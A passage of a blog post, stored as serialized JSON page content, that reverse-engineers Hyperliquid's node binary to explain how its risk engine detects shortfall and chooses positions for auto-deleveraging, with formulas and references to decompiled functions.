with a ",{"type":23,"tag":127,"props":156808,"children":156809},{},[156810],{"type":28,"value":156811},"hot potato",{"type":28,"value":156813}," to get rid of: what should it even do with the debt?",{"type":23,"tag":32890,"props":156815,"children":156817},{"id":156816},"the-risk-engine",[156818],{"type":28,"value":156819},"The Risk Engine",{"type":23,"tag":24,"props":156821,"children":156822},{},[156823],{"type":28,"value":156824},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":31,"props":156826,"children":156828},{"id":156827},"clearing-up-bad-debt",[156829],{"type":28,"value":156830},"Clearing Up Bad Debt",{"type":23,"tag":24,"props":156832,"children":156833},{},[156834,156835,156842],{"type":28,"value":14104},{"type":23,"tag":190,"props":156836,"children":156839},{"href":156837,"rel":156838},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[194],[156840],{"type":28,"value":156841},"Hyperliquid docs",{"type":28,"value":156843}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":24,"props":156845,"children":156846},{},[156847,156849,156860,156862,156868,156870,156876],{"type":28,"value":156848},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":190,"props":156850,"children":156853},{"href":156851,"rel":156852},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[194],[156854],{"type":23,"tag":64,"props":156855,"children":156857},{"className":156856},[],[156858],{"type":28,"value":156859},"Clearinghouse",{"type":28,"value":156861},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":64,"props":156863,"children":156865},{"className":156864},[],[156866],{"type":28,"value":156867},"Exchange",{"type":28,"value":156869}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":64,"props":156871,"children":156873},{"className":156872},[],[156874],{"type":28,"value":156875},"MessagePack",{"type":28,"value":156877}," at runtime.",{"type":23,"tag":24,"props":156879,"children":156880},{},[156881],{"type":28,"value":156882},"This data will come in handy both for us and the agent.",{"type":23,"tag":156884,"props":156885,"children":156887},"file-download",{"path":156886},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":24,"props":156889,"children":156890},{},[156891,156893,156898],{"type":28,"value":156892},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":64,"props":156894,"children":156896},{"className":156895},[],[156897],{"type":28,"value":156859},{"type":28,"value":156899},". Some renaming later, we can infer something like this:",{"type":23,"tag":156578,"props":156901,"children":156905},{"source":156902,"target":156903,"direction":156904},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":24,"props":156907,"children":156908},{},[156909,156911,156916,156918,156924],{"type":28,"value":156910},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":64,"props":156912,"children":156914},{"className":156913},[],[156915],{"type":28,"value":156903},{"type":28,"value":156917},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":64,"props":156919,"children":156921},{"className":156920},[],[156922],{"type":28,"value":156923},"exchange_end_block",{"type":28,"value":156925},". So, at the end of each block we run some checks.",{"type":23,"tag":156547,"props":156927,"children":156928},{},[156929],{"type":23,"tag":24,"props":156930,"children":156931},{},[156932],{"type":28,"value":156933},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":23,"tag":24,"props":156935,"children":156936},{},[156937,156939,156945],{"type":28,"value":156938},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":64,"props":156940,"children":156942},{"className":156941},[],[156943],{"type":28,"value":156944},"clearinghouse.perform_auto_deleveraging",{"type":28,"value":156946}," flag.",{"type":23,"tag":156578,"props":156948,"children":156952},{"addr":156949,"line-start":156950,"line-end":156951},"0x555556ac3850","3290","3301",[],{"type":23,"tag":24,"props":156954,"children":156955},{},[156956,156958,156963],{"type":28,"value":156957},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":64,"props":156959,"children":156961},{"className":156960},[],[156962],{"type":28,"value":156859},{"type":28,"value":670},{"type":23,"tag":7092,"props":156965,"children":156967},{"id":156966},"threshold-condition",[156968],{"type":28,"value":156969},"Threshold Condition",{"type":23,"tag":24,"props":156971,"children":156972},{},[156973,156975,156980],{"type":28,"value":156974},"The natural connection between liquidations and ADL is ",{"type":23,"tag":127,"props":156976,"children":156977},{},[156978],{"type":28,"value":156979},"shortfall",{"type":28,"value":156981},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":24,"props":156983,"children":156984},{},[156985],{"type":28,"value":156986},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":16388,"props":156988,"children":156990},{"id":156989},"who-is-underwater",[156991],{"type":28,"value":156992},"Who Is Underwater?",{"type":23,"tag":24,"props":156994,"children":156995},{},[156996,156998,157003,157005,157011],{"type":28,"value":156997},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":64,"props":156999,"children":157001},{"className":157000},[],[157002],{"type":28,"value":156903},{"type":28,"value":157004},", starting from all user positions, which are stored in ",{"type":23,"tag":64,"props":157006,"children":157008},{"className":157007},[],[157009],{"type":28,"value":157010},"clearinghouse.user_states",{"type":28,"value":157012},", as we can also see from the serialization.",{"type":23,"tag":156547,"props":157014,"children":157015},{},[157016],{"type":23,"tag":24,"props":157017,"children":157018},{},[157019],{"type":28,"value":157020},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":156578,"props":157022,"children":157026},{"source":157023,"target":156923,"direction":157024,"path":157025},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":24,"props":157028,"children":157029},{},[157030,157031,157036,157038,157044,157046,157052,157054,157060],{"type":28,"value":14104},{"type":23,"tag":64,"props":157032,"children":157034},{"className":157033},[],[157035],{"type":28,"value":157023},{"type":28,"value":157037}," essentially turns that into an ",{"type":23,"tag":64,"props":157039,"children":157041},{"className":157040},[],[157042],{"type":28,"value":157043},"Iter",{"type":28,"value":157045},", then, inside of ",{"type":23,"tag":64,"props":157047,"children":157049},{"className":157048},[],[157050],{"type":28,"value":157051},"build_adl_candidate_set",{"type":28,"value":157053}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":64,"props":157055,"children":157057},{"className":157056},[],[157058],{"type":28,"value":157059},"AdlIterEntry",{"type":28,"value":55853},{"type":23,"tag":156578,"props":157062,"children":157064},{"type-name":157063},"AdlIterContext",[],{"type":23,"tag":24,"props":157066,"children":157067},{},[157068,157070,157076,157078,157084,157086,157092,157094,157099],{"type":28,"value":157069},"Note that in storage, ",{"type":23,"tag":64,"props":157071,"children":157073},{"className":157072},[],[157074],{"type":28,"value":157075},"Isolated",{"type":28,"value":157077}," positions have their own independent ",{"type":23,"tag":64,"props":157079,"children":157081},{"className":157080},[],[157082],{"type":28,"value":157083},"Entry",{"type":28,"value":157085}," in the position iterators, and ",{"type":23,"tag":64,"props":157087,"children":157089},{"className":157088},[],[157090],{"type":28,"value":157091},"Cross",{"type":28,"value":157093}," positions have a single common ",{"type":23,"tag":64,"props":157095,"children":157097},{"className":157096},[],[157098],{"type":28,"value":157083},{"type":28,"value":157100},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":156578,"props":157102,"children":157105},{"addr":157103,"line-start":41777,"line-end":157104},"0x555556266b10","163",[],{"type":23,"tag":24,"props":157107,"children":157108},{},[157109],{"type":28,"value":157110},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":156578,"props":157112,"children":157115},{"addr":156949,"line-start":157113,"line-end":157114},"506","527",[],{"type":23,"tag":24,"props":157117,"children":157118},{},[157119,157121],{"type":28,"value":157120},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":157122,"props":157123,"children":157126},"bndb-xref",{"lines":157124,"addrs":157125},"1-2","0x555556ac3e18-0x555556ac3e18",[157127],{"type":28,"value":157128},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":24,"props":157130,"children":157131},{},[157132,157134,157140,157142,157148,157150,157156,157158,157164],{"type":28,"value":157133},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":64,"props":157135,"children":157137},{"className":157136},[],[157138],{"type":28,"value":157139},"only_isolated",{"type":28,"value":157141}," (or ",{"type":23,"tag":64,"props":157143,"children":157145},{"className":157144},[],[157146],{"type":28,"value":157147},"strict_isolated",{"type":28,"value":157149}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":64,"props":157151,"children":157153},{"className":157152},[],[157154],{"type":28,"value":157155},"deferred_queue",{"type":28,"value":157157},", which triggers ADL regardless of the system's ",{"type":23,"tag":64,"props":157159,"children":157161},{"className":157160},[],[157162],{"type":28,"value":157163},"total_shortfall",{"type":28,"value":157165},". This is dictated by this branch.",{"type":23,"tag":156578,"props":157167,"children":157170},{"addr":156949,"line-start":157168,"line-end":157169},"211","243",[],{"type":23,"tag":24,"props":157172,"children":157173},{},[157174,157176,157183],{"type":28,"value":157175},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":190,"props":157177,"children":157180},{"href":157178,"rel":157179},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[194],[157181],{"type":28,"value":157182},"March 2025 incident",{"type":28,"value":157184},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":16388,"props":157186,"children":157188},{"id":157187},"how-do-we-get-rid-of-debt",[157189],{"type":28,"value":157190},"How Do We Get Rid of Debt?",{"type":23,"tag":24,"props":157192,"children":157193},{},[157194],{"type":28,"value":157195},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":24,"props":157197,"children":157198},{},[157199,157201,157206,157208,157213,157215,157220],{"type":28,"value":157200},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":64,"props":157202,"children":157204},{"className":157203},[],[157205],{"type":28,"value":157155},{"type":28,"value":157207}," is overwritten by all the users marked by ",{"type":23,"tag":64,"props":157209,"children":157211},{"className":157210},[],[157212],{"type":28,"value":157051},{"type":28,"value":157214},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":64,"props":157216,"children":157218},{"className":157217},[],[157219],{"type":28,"value":157147},{"type":28,"value":157221}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":156547,"props":157223,"children":157224},{},[157225],{"type":23,"tag":24,"props":157226,"children":157227},{},[157228],{"type":28,"value":157229},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":156578,"props":157231,"children":157234},{"addr":156949,"line-start":157232,"line-end":157233},"523","526",[],{"type":23,"tag":24,"props":157236,"children":157237},{},[157238,157240,157246,157248,157254,157256,157261],{"type":28,"value":157239},"For each underwater position, we do a ",{"type":23,"tag":157122,"props":157241,"children":157243},{"addrs":157242},"0x555556ac42ad-0x555556ac42be",[157244],{"type":28,"value":157245},"B-tree lookup",{"type":28,"value":157247}," on ",{"type":23,"tag":64,"props":157249,"children":157251},{"className":157250},[],[157252],{"type":28,"value":157253},"clearinghouse.user_states[position.user]",{"type":28,"value":157255},", adding them to a ",{"type":23,"tag":64,"props":157257,"children":157259},{"className":157258},[],[157260],{"type":28,"value":14703},{"type":28,"value":157262}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":156578,"props":157264,"children":157267},{"addr":156949,"line-start":157265,"line-end":157266},"635","658",[],{"type":23,"tag":24,"props":157269,"children":157270},{},[157271],{"type":28,"value":157272},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":435,"props":157274,"children":157275},{},[157276],{"type":23,"tag":64,"props":157277,"children":157279},{"className":157278},[1527,156606],[157280],{"type":23,"tag":481,"props":157281,"children":157283},{"className":157282},[156611],[157284],{"type":23,"tag":481,"props":157285,"children":157287},{"className":157286},[1533],[157288],{"type":23,"tag":481,"props":157289,"children":157291},{"className":157290,"ariaHidden":1539},[1538],[157292],{"type":23,"tag":481,"props":157293,"children":157295},{"className":157294},[1544],[157296,157301],{"type":23,"tag":481,"props":157297,"children":157300},{"className":157298,"style":157299},[1549],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":481,"props":157302,"children":157304},{"className":157303},[1555],[157305],{"type":23,"tag":481,"props":157306,"children":157309},{"className":157307},[157308],"mtable",[157310,157390],{"type":23,"tag":481,"props":157311,"children":157314},{"className":157312},[157313],"col-align-r",[157315],{"type":23,"tag":481,"props":157316,"children":157318},{"className":157317},[1577,19140],[157319,157378],{"type":23,"tag":481,"props":157320,"children":157322},{"className":157321},[1582],[157323,157373],{"type":23,"tag":481,"props":157324,"children":157327},{"className":157325,"style":157326},[1587],"height:2.3452em;",[157328,157351],{"type":23,"tag":481,"props":157329,"children":157331},{"style":157330},"top:-4.3452em;",[157332,157337],{"type":23,"tag":481,"props":157333,"children":157336},{"className":157334,"style":157335},[1596],"height:3.3944em;",[],{"type":23,"tag":481,"props":157338,"children":157340},{"className":157339},[1555],[157341],{"type":23,"tag":481,"props":157342,"children":157344},{"className":157343},[1555,28],[157345],{"type":23,"tag":481,"props":157346,"children":157348},{"className":157347},[1555],[157349],{"type":28,"value":157350},"position_weight",{"type":23,"tag":481,"props":157352,"children":157354},{"style":157353},"top:-2.2092em;",[157355,157359],{"type":23,"tag":481,"props":157356,"children":157358},{"className":157357,"style":157335},[1596],[],{"type":23,"tag":481,"props":157360,"children":157362},{"className":157361},[1555],[157363],{"type":23,"tag":481,"props":157364,"children":157366},{"className":157365},[1555,28],[157367],{"type":23,"tag":481,"props":157368,"children":157370},{"className":157369},[1555],[157371],{"type":28,"value":157372},"position_adl_amount",{"type":23,"tag":481,"props":157374,"children":157376},{"className":157375},[19243],[157377],{"type":28,"value":19246},{"type":23,"tag":481,"props":157379,"children":157381},{"className":157380},[1582],[157382],{"type":23,"tag":481,"props":157383,"children":157386},{"className":157384,"style":157385},[1587],"height:1.8452em;",[157387],{"type":23,"tag":481,"props":157388,"children":157389},{},[],{"type":23,"tag":481,"props":157391,"children":157394},{"className":157392},[157393],"col-align-l",[157395],{"type":23,"tag":481,"props":157396,"children":157398},{"className":157397},[1577,19140],[157399,157600],{"type":23,"tag":481,"props":157400,"children":157402},{"className":157401},[1582],[157403,157595],{"type":23,"tag":481,"props":157404,"children":157406},{"className":157405,"style":157326},[1587],[157407,157535],{"type":23,"tag":481,"props":157408,"children":157409},{"style":157330},[157410,157414],{"type":23,"tag":481,"props":157411,"children":157413},{"className":157412,"style":157335},[1596],[],{"type":23,"tag":481,"props":157415,"children":157417},{"className":157416},[1555],[157418,157422,157426,157431,157435],{"type":23,"tag":481,"props":157419,"children":157421},{"className":157420},[1555],[],{"type":23,"tag":481,"props":157423,"children":157425},{"className":157424,"style":1734},[1636],[],{"type":23,"tag":481,"props":157427,"children":157429},{"className":157428},[1739],[157430],{"type":28,"value":603},{"type":23,"tag":481,"props":157432,"children":157434},{"className":157433,"style":1734},[1636],[],{"type":23,"tag":481,"props":157436,"children":157438},{"className":157437},[1555],[157439,157443,157531],{"type":23,"tag":481,"props":157440,"children":157442},{"className":157441},[19215,111097],[],{"type":23,"tag":481,"props":157444,"children":157446},{"className":157445},[111102],[157447],{"type":23,"tag":481,"props":157448,"children":157450},{"className":157449},[1577,19140],[157451,157519],{"type":23,"tag":481,"props":157452,"children":157454},{"className":157453},[1582],[157455,157514],{"type":23,"tag":481,"props":157456,"children":157459},{"className":157457,"style":157458},[1587],"height:1.3944em;",[157460,157481,157492],{"type":23,"tag":481,"props":157461,"children":157462},{"style":156688},[157463,157467],{"type":23,"tag":481,"props":157464,"children":157466},{"className":157465,"style":109750},[1596],[],{"type":23,"tag":481,"props":157468,"children":157470},{"className":157469},[1555],[157471],{"type":23,"tag":481,"props":157472,"children":157474},{"className":157473},[1555,28],[157475],{"type":23,"tag":481,"props":157476,"children":157478},{"className":157477},[1555],[157479],{"type":28,"value":157480},"total_cross_notional",{"type":23,"tag":481,"props":157482,"children":157483},{"style":111152},[157484,157488],{"type":23,"tag":481,"props":157485,"children":157487},{"className":157486,"style":109750},[1596],[],{"type":23,"tag":481,"props":157489,"children":157491},{"className":157490,"style":111162},[111161],[],{"type":23,"tag":481,"props":157493,"children":157495},{"style":157494},"top:-3.7em;",[157496,157500],{"type":23,"tag":481,"props":157497,"children":157499},{"className":157498,"style":109750},[1596],[],{"type":23,"tag":481,"props":157501,"children":157503},{"className":157502},[1555],[157504],{"type":23,"tag":481,"props":157505,"children":157507},{"className":157506},[1555,28],[157508],{"type":23,"tag":481,"props":157509,"children":157511},{"className":157510},[1555],[157512],{"type":28,"value":157513},"position_notional",{"type":23,"tag":481,"props":157515,"children":157517},{"className":157516},[19243],[157518],{"type":28,"value":19246},{"type":23,"tag":481,"props":157520,"children":157522},{"className":157521},[1582],[157523],{"type":23,"tag":481,"props":157524,"children":157527},{"className":157525,"style":157526},[1587],"height:0.996em;",[157528],{"type":23,"tag":481,"props":157529,"children":157530},{},[],{"type":23,"tag":481,"props":157532,"children":157534},{"className":157533},[19237,111097],[],{"type":23,"tag":481,"props":157536,"children":157537},{"style":157353},[157538,157542],{"type":23,"tag":481,"props":157539,"children":157541},{"className":157540,"style":157335},[1596],[],{"type":23,"tag":481,"props":157543,"children":157545},{"className":157544},[1555],[157546,157550,157554,157559,157563,157573,157577,157582,157586],{"type":23,"tag":481,"props":157547,"children":157549},{"className":157548},[1555],[],{"type":23,"tag":481,"props":157551,"children":157553},{"className":157552,"style":1734},[1636],[],{"type":23,"tag":481,"props":157555,"children":157557},{"className":157556},[1739],[157558],{"type":28,"value":603},{"type":23,"tag":481,"props":157560,"children":157562},{"className":157561,"style":1734},[1636],[],{"type":23,"tag":481,"props":157564,"children":157566},{"className":157565},[1555,28],[157567],{"type":23,"tag":481,"props":157568,"children":157570},{"className":157569},[1555],[157571],{"type":28,"value":157572},"user_shortfall",{"type":23,"tag":481,"props":157574,"children":157576},{"className":157575,"style":1637},[1636],[],{"type":23,"tag":481,"props":157578,"children":157580},{"className":157579},[1642],[157581],{"type":28,"value":108841},{"type":23,"tag":481,"props":157583,"children":157585},{"className":157584,"style":1637},[1636],[],{"type":23,"tag":481,"props":157587,"children":157589},{"className":157588},[1555,28],[157590],{"type":23,"tag":481,"props":157591,"children":157593},{"className":157592},[1555],[157594],{"type":28,"value":157350},{"type":23,"tag":481,"props":157596,"children":157598},{"className":157597},[19243],[157599],{"type":28,"value":19246},{"type":23,"tag":481,"props":157601,"children":157603},{"className":157602},[1582],[157604],{"type":23,"tag":481,"props":157605,"children":157607},{"className":157606,"style":157385},[1587],[157608],{"type":23,"tag":481,"props":157609,"children":157610},{},[],{"type":23,"tag":24,"props":157612,"children":157613},{},[157614],{"type":28,"value":157615},"We do that here:",{"type":23,"tag":156578,"props":157617,"children":157620},{"addr":156949,"line-start":157618,"line-end":157619},"828","981",[],{"type":23,"tag":24,"props":157622,"children":157623},{},[157624,157625,157631,157633,157639],{"type":28,"value":14104},{"type":23,"tag":157122,"props":157626,"children":157628},{"lines":157627},"77-79",[157629],{"type":28,"value":157630},"inner loop",{"type":28,"value":157632}," above spans all ",{"type":23,"tag":64,"props":157634,"children":157636},{"className":157635},[],[157637],{"type":28,"value":157638},"(asset_idx, direction)",{"type":28,"value":157640}," held in the cross margin position.",{"type":23,"tag":24,"props":157642,"children":157643},{},[157644,157646,157652,157654,157660,157661,157667],{"type":28,"value":157645},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":64,"props":157647,"children":157649},{"className":157648},[],[157650],{"type":28,"value":157651},"adl_output",{"type":28,"value":157653}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":64,"props":157655,"children":157657},{"className":157656},[],[157658],{"type":28,"value":157659},"position_id",{"type":28,"value":8478},{"type":23,"tag":64,"props":157662,"children":157664},{"className":157663},[],[157665],{"type":28,"value":157666},"position_shortfall",{"type":28,"value":199},{"type":23,"tag":156578,"props":157669,"children":157672},{"addr":156949,"line-start":157670,"line-end":157671},"2377","2469",[],{"type":23,"tag":24,"props":157674,"children":157675},{},[157676,157678,157684],{"type":28,"value":157677},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":64,"props":157679,"children":157681},{"className":157680},[],[157682],{"type":28,"value":157683},"(position_id, cut)",{"type":28,"value":157685},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":24,"props":157687,"children":157688},{},[157689,157691,157696],{"type":28,"value":157690},"The final phase of ",{"type":23,"tag":64,"props":157692,"children":157694},{"className":157693},[],[157695],{"type":28,"value":156903},{"type":28,"value":157697}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":156578,"props":157699,"children":157702},{"addr":156949,"addr-start":157700,"addr-end":157701},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":24,"props":157704,"children":157705},{},[157706],{"type":28,"value":157707},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":32890,"props":157709,"children":157711},{"id":157710},"who-do-we-deleverage",[157712],{"type":28,"value":157713},"Who Do We Deleverage?",{"type":23,"tag":24,"props":157715,"children":157716},{},[157717],{"type":28,"value":157718},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":24,"props":157720,"children":157721},{},[157722],{"type":28,"value":157723},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":24,"props":157725,"children":157726},{},[157727,157729,157736],{"type":28,"value":157728},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":190,"props":157730,"children":157733},{"href":157731,"rel":157732},"https://arxiv.org/abs/2512.01112",[194],[157734],{"type":28,"value":157735},"this paper",{"type":28,"value":157737},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":24,"props":157739,"children":157740},{},[157741],{"type":28,"value":157742},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":31,"props":157744,"children":157746},{"id":157745},"adl-score-computation",[157747],{"type":28,"value":157748},"ADL Score Computation",{"type":23,"tag":24,"props":157750,"children":157751},{},[157752,157754,157760,157762,157768,157770,157775],{"type":28,"value":157753},"The score function at ",{"type":23,"tag":64,"props":157755,"children":157757},{"className":157756},[],[157758],{"type":28,"value":157759},"compute_adl_ranking_score",{"type":28,"value":157761}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":64,"props":157763,"children":157765},{"className":157764},[],[157766],{"type":28,"value":157767},"Ord",{"type":28,"value":157769}," implementation on some 20-byte address representation. A ",{"type":23,"tag":64,"props":157771,"children":157773},{"className":157772},[],[157774],{"type":28,"value":14703},{"type":28,"value":157776}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":24,"props":157778,"children":157779},{},[157780,157782,157787,157789,157795,157797,157804,157806,157813],{"type":28,"value":157781},"Those sort routines are ",{"type":23,"tag":127,"props":157783,"children":157784},{},[157785],{"type":28,"value":157786},"generated by the compiler",{"type":28,"value":157788},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":64,"props":157790,"children":157792},{"className":157791},[],[157793],{"type":28,"value":157794},".comment",{"type":28,"value":157796},", we may even manually ",{"type":23,"tag":190,"props":157798,"children":157801},{"href":157799,"rel":157800},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[194],[157802],{"type":28,"value":157803},"take advantage",{"type":28,"value":157805}," of this to recover the ",{"type":23,"tag":190,"props":157807,"children":157810},{"href":157808,"rel":157809},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[194],[157811],{"type":28,"value":157812},"exact source of library functions",{"type":28,"value":199},{"type":23,"tag":24,"props":157815,"children":157816},{},[157817,157819,157824],{"type":28,"value":157818},"Let's see how this ties back into the ",{"type":23,"tag":64,"props":157820,"children":157822},{"className":157821},[],[157823],{"type":28,"value":156903},{"type":28,"value":287},{"type":23,"tag":156578,"props":157826,"children":157828},{"source":156903,"target":157759,"direction":156904,"path":157827},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":24,"props":157830,"children":157831},{},[157832],{"type":28,"value":157833},"And here's the main call site used for sorting:",{"type":23,"tag":156578,"props":157835,"children":157838},{"addr":156949,"line-start":157836,"line-end":157837},"2806","2814",[],{"type":23,"tag":31,"props":157840,"children":157842},{"id":157841},"ratio-1-effective-leverage",[157843],{"type":28,"value":157844},"Ratio 1: Effective Leverage",{"type":23,"tag":435,"props":157846,"children":157847},{},[157848],{"type":23,"tag":64,"props":157849,"children":157851},{"className":157850},[1527,156606],[157852],{"type":23,"tag":481,"props":157853,"children":157855},{"className":157854},[156611],[157856],{"type":23,"tag":481,"props":157857,"children":157859},{"className":157858},[1533],[157860],{"type":23,"tag":481,"props":157861,"children":157863},{"className":157862,"ariaHidden":1539},[1538],[157864,157895],{"type":23,"tag":481,"props":157865,"children":157867},{"className":157866},[1544],[157868,157872,157882,157886,157891],{"type":23,"tag":481,"props":157869,"children":157871},{"className":157870,"style":112634},[1549],[],{"type":23,"tag":481,"props":157873,"children":157875},{"className":157874},[1555,28],[157876],{"type":23,"tag":481,"props":157877,"children":157879},{"className":157878},[1555],[157880],{"type":28,"value":157881},"effective leverage",{"type":23,"tag":481,"props":157883,"children":157885},{"className":157884,"style":1734},[1636],[],{"type":23,"tag":481,"props":157887,"children":157889},{"className":157888},[1739],[157890],{"type":28,"value":603},{"type":23,"tag":481,"props":157892,"children":157894},{"className":157893,"style":1734},[1636],[],{"type":23,"tag":481,"props":157896,"children":157898},{"className":157897},[1544],[157899,157904],{"type":23,"tag":481,"props":157900,"children":157903},{"className":157901,"style":157902},[1549],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":481,"props":157905,"children":157907},{"className":157906},[1555],[157908,157912,158007],{"type":23,"tag":481,"props":157909,"children":157911},{"className":157910},[19215,111097],[],{"type":23,"tag":481,"props":157913,"children":157915},{"className":157914},[111102],[157916],{"type":23,"tag":481,"props":157917,"children":157919},{"className":157918},[1577,19140],[157920,157995],{"type":23,"tag":481,"props":157921,"children":157923},{"className":157922},[1582],[157924,157990],{"type":23,"tag":481,"props":157925,"children":157927},{"className":157926,"style":156684},[1587],[157928,157949,157960],{"type":23,"tag":481,"props":157929,"children":157930},{"style":156688},[157931,157935],{"type":23,"tag":481,"props":157932,"children":157934},{"className":157933,"style":109750},[1596],[],{"type":23,"tag":481,"props":157936,"children":157938},{"className":157937},[1555],[157939],{"type":23,"tag":481,"props":157940,"children":157942},{"className":157941},[1555,28],[157943],{"type":23,"tag":481,"props":157944,"children":157946},{"className":157945},[1555],[157947],{"type":28,"value":157948},"account value",{"type":23,"tag":481,"props":157950,"children":157951},{"style":111152},[157952,157956],{"type":23,"tag":481,"props":157953,"children":157955},{"className":157954,"style":109750},[1596],[],{"type":23,"tag":481,"props":157957,"children":157959},{"className":157958,"style":111162},[111161],[],{"type":23,"tag":481,"props":157961,"children":157962},{"style":156739},[157963,157967],{"type":23,"tag":481,"props":157964,"children":157966},{"className":157965,"style":109750},[1596],[],{"type":23,"tag":481,"props":157968,"children":157970},{"className":157969},[1555],[157971,157976,157985],{"type":23,"tag":481,"props":157972,"children":157974},{"className":157973},[1555],[157975],{"type":28,"value":156754},{"type":23,"tag":481,"props":157977,"children":157979},{"className":157978},[1555,28],[157980],{"type":23,"tag":481,"props":157981,"children":157983},{"className":157982},[1555],[157984],{"type":28,"value":156764},{"type":23,"tag":481,"props":157986,"children":157988},{"className":157987},[1555],[157989],{"type":28,"value":156754},{"type":23,"tag":481,"props":157991,"children":157993},{"className":157992},[19243],[157994],{"type":28,"value":19246},{"type":23,"tag":481,"props":157996,"children":157998},{"className":157997},[1582],[157999],{"type":23,"tag":481,"props":158000,"children":158003},{"className":158001,"style":158002},[1587],"height:0.686em;",[158004],{"type":23,"tag":481,"props":158005,"children":158006},{},[],{"type":23,"tag":481,"props":158008,"children":158010},{"className":158009},[19237,111097],[],{"type":23,"tag":24,"props":158012,"children":158013},{},[158014,158016,158022,158024,158030,158031,158037,158039,158045],{"type":28,"value":158015},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":64,"props":158017,"children":158019},{"className":158018},[],[158020],{"type":28,"value":158021},"abs_notional",{"type":28,"value":158023}," (unsigned), and ",{"type":23,"tag":64,"props":158025,"children":158027},{"className":158026},[],[158028],{"type":28,"value":158029},"float.d(rbx)",{"type":28,"value":140},{"type":23,"tag":64,"props":158032,"children":158034},{"className":158033},[],[158035],{"type":28,"value":158036},"account_value",{"type":28,"value":158038}," (signed); the division is 